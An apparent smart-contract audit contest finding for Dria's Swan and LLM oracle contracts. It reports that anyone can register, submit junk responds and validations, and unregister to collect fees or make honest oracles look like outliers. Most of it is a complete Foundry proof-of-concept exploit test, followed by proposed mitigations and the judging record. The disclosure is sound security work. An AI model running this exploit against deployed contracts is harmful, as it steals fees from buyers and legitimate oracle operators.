Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: medium
Valid

Request responses and validations can be mocked leading to extraction of fees and/or forcing other generators to lose their fees by making them outliers

Summary

The respond and validate functions can be mocked which will lead to attacker getting the generation and validation fees without providing valid responses, and could also lead to attacks against other generator/validators in order to force them lose their generation/validation fees.

Vulnerability Details

The LLMOracleRegistry allows any address to register and unregister at any time.
An attacker can register multiple generators/validators and call respond and validate with invalid output/scores with as low generatorStakeAmount/validatorStakeAmount whichever is greater.
This can be done by calling register -> respond -> unregister for as many generations needed, and then register -> validate -> unregister for as many validations needed.

Impact

It will lead to lost generation and validation fees while getting invalid output values. Furthermore, this attack can be used in order to force a legitimate generator/validator appear as an outlier and lose their generation/validation fee.

Proof of Concept for mocking responses and validations on requests

Overview:

The attacker registers mock generators, responds with invalid output values and unregisters, repeating the same procedure with mock validators.

Actors:

  • Attacker: The address which will fund the mock generators and mock validators.

  • Victim: The buyer which submitted a purchase request.

Test Case:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {Swan} from "../contracts/swan/Swan.sol";
import {SwanMarketParameters} from "../contracts/swan/SwanManager.sol";
import {LLMOracleTaskParameters} from "../contracts/llm/LLMOracleTask.sol";
import {LLMOracleCoordinator} from "../contracts/llm/LLMOracleCoordinator.sol";
import {LLMOracleRegistry, LLMOracleKind} from "../contracts/llm/LLMOracleRegistry.sol";
import {BuyerAgentFactory, BuyerAgent} from "../contracts/swan/BuyerAgent.sol";
import {SwanAssetFactory, SwanAsset} from "../contracts/swan/SwanAsset.sol";
contract MockERC20 is ERC20 {
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {}
}
contract POC is Test {
IERC20 dria;
LLMOracleCoordinator coordinator;
LLMOracleRegistry registry;
address buyerAgentFactory;
address swanAssetFactory;
Swan swan;
uint256 maxAssetCount = 5;
uint256 withdrawInterval = 30 minutes;
uint256 sellInterval = 60 minutes;
uint256 buyInterval = 20 minutes;
uint256 numGenerations = 5;
uint256 numValidations = 5;
uint256 generatorStakeAmount = 100 ether;
uint256 validatorStakeAmount = 100 ether;
uint8 difficulty = 10;
uint256 generationFee = 0.02 ether;
uint256 validationFee = 0.03 ether;
function setUp() public {
// Buyer Agent Factory setup
buyerAgentFactory = address(new BuyerAgentFactory());
// Swan Asset Factory setup
swanAssetFactory = address(new SwanAssetFactory());
// dria token setup
dria = IERC20(new MockERC20("dria", "dria"));
// Oracle Registry setup
address impl = address(new LLMOracleRegistry());
bytes memory data =
abi.encodeCall(LLMOracleRegistry.initialize, (generatorStakeAmount, validatorStakeAmount, address(dria)));
address proxy = address(new ERC1967Proxy(impl, data));
registry = LLMOracleRegistry(proxy);
// Oracle Coordination setup
impl = address(new LLMOracleCoordinator());
uint256 platformFee = 1;
data = abi.encodeCall(
LLMOracleCoordinator.initialize,
(address(registry), address(dria), platformFee, generationFee, validationFee)
);
proxy = address(new ERC1967Proxy(impl, data));
coordinator = LLMOracleCoordinator(proxy);
// swan setup
impl = address(new Swan());
LLMOracleTaskParameters memory llmParams = LLMOracleTaskParameters({
difficulty: difficulty,
numGenerations: uint40(numGenerations),
numValidations: uint40(numValidations)
});
SwanMarketParameters memory swanParams = SwanMarketParameters({
withdrawInterval: withdrawInterval,
sellInterval: sellInterval,
buyInterval: buyInterval,
platformFee: 1,
maxAssetCount: maxAssetCount,
timestamp: 0
});
data = abi.encodeCall(
Swan.initialize,
(swanParams, llmParams, address(coordinator), address(dria), buyerAgentFactory, swanAssetFactory)
);
proxy = address(new ERC1967Proxy(impl, data));
swan = Swan(proxy);
}
function test_PoC() public {
address buyer = makeAddr("buyer");
// ### User creating a purchase request ###
uint96 feeRoyalty = 1;
uint256 amountPerRound = 0.1 ether;
vm.startPrank(buyer);
// buyer setting up his agent
BuyerAgent agent = swan.createBuyer("agent/1.0", "Testing agent", feeRoyalty, amountPerRound);
// skip sell phase, get into buy phase
vm.warp(block.timestamp + sellInterval + 1);
// airdrop fees to agent for the request
(uint256 totalFee,,) = coordinator.getFee(agent.swan().getOracleParameters());
deal(address(dria), address(agent), totalFee);
// buyer calling oracle purchase request, to "ask" oracles to submit responds
bytes memory input = bytes("test input");
agent.oraclePurchaseRequest(input, bytes("test models"));
vm.stopPrank();
// ### Attacker submitting mock responds to get fees ###
address attacker = makeAddr("attacker");
// airdroping the initial stake amount for an address to register as an oracle
deal(address(dria), attacker, generatorStakeAmount);
// attacker transfers the stake amount to the first mockGenerator
vm.prank(attacker);
dria.transfer(
makeAddr(string(abi.encodePacked("mockGenerator", vm.toString(uint256(0))))), generatorStakeAmount
);
// attacker mocks multiple responds
for (uint256 i = 0; i < numGenerations; i++) {
address mockGenerator = makeAddr(string(abi.encodePacked("mockGenerator", vm.toString(i))));
// register the mockGenerator as generator
vm.startPrank(mockGenerator);
dria.approve(address(registry), generatorStakeAmount);
registry.register(LLMOracleKind.Generator);
vm.stopPrank();
// mockGenerator submits a random response to get the respond fee
vm.startPrank(mockGenerator);
coordinator.respond(
1,
getValidNonce(1, input, address(agent), mockGenerator),
bytes("Random output"),
bytes("Random metadata")
);
vm.stopPrank();
// unregister the mockGenerator and get the stake amount
vm.prank(mockGenerator);
registry.unregister(LLMOracleKind.Generator);
if (i == numGenerations - 1) {
// if it's the last iteration, send the stake amount to the first mockGenerator
address firstMockValidator =
makeAddr(string(abi.encodePacked("mockValidator", vm.toString(uint256(0)))));
vm.prank(mockGenerator);
dria.transferFrom(address(registry), firstMockValidator, generatorStakeAmount);
} else {
// if it's not the last iteration, send the stake amount to the next mockGenerator
address nextMockGenerator = makeAddr(string(abi.encodePacked("mockGenerator", vm.toString(i + 1))));
vm.prank(mockGenerator);
dria.transferFrom(address(registry), nextMockGenerator, generatorStakeAmount);
}
}
// attacker mocks multiple validations
for (uint256 i = 0; i < numValidations; i++) {
address mockValidator = makeAddr(string(abi.encodePacked("mockValidator", vm.toString(i))));
// register the mockValidator as validator
vm.startPrank(mockValidator);
dria.approve(address(registry), validatorStakeAmount);
registry.register(LLMOracleKind.Validator);
vm.stopPrank();
// mockValidator submits random scores to get the validation fee
vm.startPrank(mockValidator);
uint256[] memory scores = new uint256[]();
coordinator.validate(
1, getValidNonce(1, input, address(agent), mockValidator), scores, bytes("Random metadata")
);
vm.stopPrank();
// unregister the mockValidator and get the stake amount
vm.prank(mockValidator);
registry.unregister(LLMOracleKind.Validator);
if (i == numValidations - 1) {
// if it's the last iteration, send the stake amount to the attacker
vm.prank(mockValidator);
dria.transferFrom(address(registry), attacker, validatorStakeAmount);
} else {
// if it's not the last iteration, send the stake amount to the next mockValidator
address nextMockValidator = makeAddr(string(abi.encodePacked("mockValidator", vm.toString(i + 1))));
vm.prank(mockValidator);
dria.transferFrom(address(registry), nextMockValidator, validatorStakeAmount);
}
}
// attacker gathering all funds
for (uint256 i = 0; i < numGenerations; i++) {
address mockGenerator = makeAddr(string(abi.encodePacked("mockGenerator", vm.toString(i))));
// mockGenerator sends his generationFee to the attacker
vm.startPrank(mockGenerator);
dria.transferFrom(address(coordinator), attacker, dria.allowance(address(coordinator), mockGenerator));
vm.stopPrank();
address mockValidator = makeAddr(string(abi.encodePacked("mockValidator", vm.toString(i))));
// mockValidator sends his validationFee to the attacker
vm.startPrank(mockValidator);
dria.transferFrom(address(coordinator), attacker, dria.allowance(address(coordinator), mockValidator));
vm.stopPrank();
}
console.log("Attacker balance :", dria.balanceOf(attacker));
}
function getValidNonce(uint256 taskId, bytes memory input, address requester, address sender)
private
view
returns (uint256 nonce)
{
bytes memory message;
do {
nonce++;
message = abi.encodePacked(taskId, input, requester, sender, nonce);
} while (uint256(keccak256(message)) > type(uint256).max >> uint256(difficulty));
}
}

Tools Used

Manual Review, Foundry

Recommended Mitigation

Introduce a locking mechanism that will prohibit validators and generators from unregistering while a request they responded/validated hasn't been finalized. Furthermore, the generators/validators of the LLMOracleRegistry could be registered by a whitelist. Finally, a long-term solution would be to introduce a slashing mechanism for misbehaving generators/validators.

Updates

Lead Judging Commences

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

There is no oracle whitelisting

Appeal created

sovaslava Auditor
9 months ago
johny7173 Submitter
9 months ago
inallhonesty Lead Judge
9 months ago
inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

There is no oracle whitelisting

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.